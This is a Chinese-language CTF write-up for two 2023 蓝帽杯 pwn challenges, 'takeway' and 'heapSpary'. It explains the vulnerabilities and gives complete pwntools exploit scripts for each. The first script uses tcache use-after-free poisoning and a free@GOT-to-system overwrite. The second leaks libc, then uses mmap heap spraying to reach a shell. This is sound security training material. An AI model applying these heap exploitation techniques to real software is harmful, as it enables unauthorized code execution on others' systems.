2023 蓝帽杯

takeway

libc2.31的uaf,可以直接覆盖tcache的next来任意地址申请堆块

思路就是通过uaf和tcache的key泄露出堆地址就可以获得我们申请的堆地址,申请到0x4040A0处的堆管理结构指针后就可以改他的值为我们可控的堆,提前把可控堆里的内容改完free的got edit功能时就可以泄露基地址和修改freegot为system

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./takeway'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
def add(index,name,remark):
io.recvuntil(b'Please input your choose: ')
io.sendline(b'1')
io.recvuntil(b'Please input your order index')
io.sendline(str(index).encode())
io.recvuntil(b'Please input your food name: ')
io.send(name)
io.recvuntil(b'a remark: ')
io.send(remark)#second 8
def delete(index):
io.recvuntil(b'Please input your choose: ')
io.sendline(b'2')
io.recvuntil(b'Please input your order index')
io.sendline(str(index).encode())
def edit(index,name):
io.recvuntil(b'Please input your choose: ')
io.sendline(b'3')
io.recvuntil(b'Please input index: ')
io.sendline(str(index).encode())
io.recvuntil(b'New food name is: ')
io.send(name)#first 8
command='''
dir /home/grxer/share/libc-source/glibc-2.31/malloc
b *0x004013E8
'''
# gdb.attach(io,command)
add(0,'a',b'a')
add(1,'b',b'b')
delete(0)
delete(1)
#edit泄露堆地址,修改tcache的next指针
io.recvuntil(b'Please input your choose: ')
io.sendline(b'3')
io.recvuntil(b'Please input index: ')
io.sendline(str(1).encode())
ru(b'r is: ')
heap=uu64(r(4))
heap0=heap+ 0x12d0
p('heap',heap)
io.recvuntil(b'New food name is: ')
io.send(p64(0x4040A0))#first 8
add(2,b'c',b'c')
edit(0,p64(elf.got['free']))
#heap0就变为堆管理结构,freegot变为了第一个堆对象
add(3,p64(heap0),b'fake')#malloc 0x4040A0

#edit泄露putsgot和修改freegot
io.recvuntil(b'Please input your choose: ')
io.sendline(b'3')
io.recvuntil(b'Please input index: ')
io.sendline(str(0).encode())
ru(b'r is: ')
puts_ad=uu64(r(6))
libcbase=find_libc('puts',puts_ad)
system=libcbase+libc.dump('system')
io.recvuntil(b'New food name is: ')
io.send(p64(system))#first 8

#getshell
add(2,b'/bin/sh\x00',b'a')
delete(2)
io.interactive()

heapSpary

Create堆里是一次申请16个堆,堆块的顺序是乱的,在往堆写数据时没有限制大小可以无限堆溢出

Action是一个后门

image-20230916223113773

我们需要堆+堆大小处存放的地址的前四个字节为0,后四个字节为system就可以拿到flag

*(void*)(heap_ptr+size)------>0
system

泄露libc,虽然有堆溢出,但是却在输入后有\x00截断常规unsortedbin泄露就失效了,但是Create堆时flag是往堆+堆size位置写入四个字节可以覆盖掉这个/x00

比如我们申请creat大小为1,这个值只会覆盖unsorted堆的fd及bk的第一个bit,如果bk此时指向是unsortedbin就可以泄露出libc,所以可以利用创建大小为1的堆块切割unsortedbin来泄露libc

有了libc就是需要布置满足后门的堆块,可以申请0x20000大小的堆来mmap内存,但是这道题开了pie,mmap的位置是随机的,但是随机的不多,程序一次申请16个来堆喷,基本上位置都在libc下面偏移0x24f000处得到

利用mmap堆喷在libc下面布置大量的p32(0)+p32(systme),我们把这个位置叫slide

再利用creat堆溢出往堆上写大量的p32(slide),由于creat是乱序的,当出现下面的情况时

heapA+10,heapA

heapA堆溢出大量的p32(slide)就可以覆盖掉heapA+10堆块,就可以绕过Create里Which flag do you want?的赋值

image-20230916230005552

from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386')
pwnfile='./main'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+hex(x)+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
def menu(idx):
sla(b'ose : ',str(idx).encode())
def creat(size,data,flag):
menu(1)
sla(b'need : ',str(size).encode())
for i in range(16):
sla(b' data.',data)
sla(b'want?',str(flag).encode())
def show(idx):
menu(2)
sla(b'index : ',str(idx).encode())
def delete():
menu(3)
def action(idx):
menu(5)
sla(b'index : ',str(idx).encode())

# dbpie(0x00017AC)#malloc
creat(0x200,b'',1)
creat(0x200,b'',1)
delete()
delete()
# b()
#切割unsortedbin,泄露libc
creat(1,b'a',1)
b()
for i in range(16):
show(0)
ru(b'is a')
r(3)
libcbase=uu32(r(4))
if libcbase>0xf0000000:
break
# dbpie(0x00017AC)#malloc
libcbase-=0x226756
p('libcbase',libcbase)
system=libcbase+libcelf.sym['system']
p('system',system)
delete()
slide=libcbase+0x24f000
#堆喷布置合适后门
creat(0x20000,(p32(0)+p32(system))*(0x20000//8),1)
creat(0x80,p32(slide)*0x100,1)
action(17)
# b()
io.interactive()

image-20230916221851491